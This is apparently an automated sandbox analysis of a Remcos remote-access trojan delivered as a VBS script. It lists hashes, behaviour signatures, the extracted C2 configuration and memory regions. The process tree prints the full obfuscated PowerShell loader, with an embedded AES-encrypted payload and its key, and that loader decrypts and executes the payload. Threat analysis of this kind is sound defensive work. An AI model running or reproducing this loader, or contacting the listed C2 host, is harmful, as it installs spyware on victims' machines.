remcos | 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc

Resubmissions

12/07/2024, 06:41

240712-hf4p3ssdqj10

12/07/2024, 06:39

240712-herdcssdkj10

Analysis

max time kernel
125s
max time network
125s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
12/07/2024, 06:39

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General

Target
crosscheckrosefloweronhairbeauty.vbs
Size 150KB
Sample240712-herdcssdkj
SHA256 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc
MD5 7921681c6200952fdf2db1a77381ac24
SHA1 96e6385fc9c0b8b485eba5bc8f45420ea84b38e6
SHA512 4c8da2c5cd3c6f88a19e44806cae2b4aefb7512c49554420bbad6b341dcf6b16ae75a1af94a9b1bcaa8123cb4987130a0dca1bdf70be81f31148f73ab7b6010b
SSDEEP 1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGsvky38sv5HnIgs:QghdpP+og0S7e9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
nots.dat
keylog_flag
false
keylog_folder
note
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-999Z97
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	3112	WScript.exe
3	3112	WScript.exe
4	3112	WScript.exe
7	3608	powershell.exe
8	3608	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3608 set thread context of 1624	3608	powershell.exe	85

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3608	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3608	powershell.exe
3608	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3608	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1624	RegAsm.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 3608	3112	WScript.exe	82
PID 3112 wrote to memory of 3608	3112	WScript.exe	82
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85
PID 3608 wrote to memory of 1624	3608	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\crosscheckrosefloweronhairbeauty.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

paste1[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\M8IOJBEQ\paste1[1].txt
Size 156B
SHA256 ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
MD5 ad6c37ef980373e9bcbd14810fad34bc
SHA1 9c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA512 30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ylhyo4ba.dq2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ylhyo4ba.dq2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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nots.dat

Path C:\Users\Admin\AppData\Local\Temp\note\nots.dat
Size 144B
SHA256 9460b5baa64f7d1c6dd21a40bf36f43956538069e39ff3abeb6f510e1ddae5d9
MD5 901f64d99572e9d3f8bab348302eb62c
SHA1 c836e8e6fd50cbadd3d2794439c488c923da9d58
SHA512 4b8ba32a1f70cdaa0f1bcfc03953d76684d83734f1873602f8f60140e3cb18f25c23010bee1543f4e767dbafb5fb9d00475990d43257ece42c9c556e89866091
MD5 SHA1 SHA512

Submit Download

memory/1624-38-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-40-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-71-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-70-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-63-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-27-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-30-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-31-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-62-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-35-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-34-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-55-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-39-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-54-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-41-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-42-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-45-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/1624-51-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/3608-13-0x00007FFB8B263000-0x00007FFB8B265000-memory.dmp

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memory/3608-23-0x00007FFB8B260000-0x00007FFB8BD22000-memory.dmp

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memory/3608-14-0x000001A16B4D0000-0x000001A16B4F2000-memory.dmp

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memory/3608-33-0x00007FFB8B260000-0x00007FFB8BD22000-memory.dmp

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memory/3608-26-0x000001A17BA90000-0x000001A17BC7C000-memory.dmp

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memory/3608-25-0x00007FFB8B260000-0x00007FFB8BD22000-memory.dmp

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memory/3608-24-0x00007FFB8B260000-0x00007FFB8BD22000-memory.dmp

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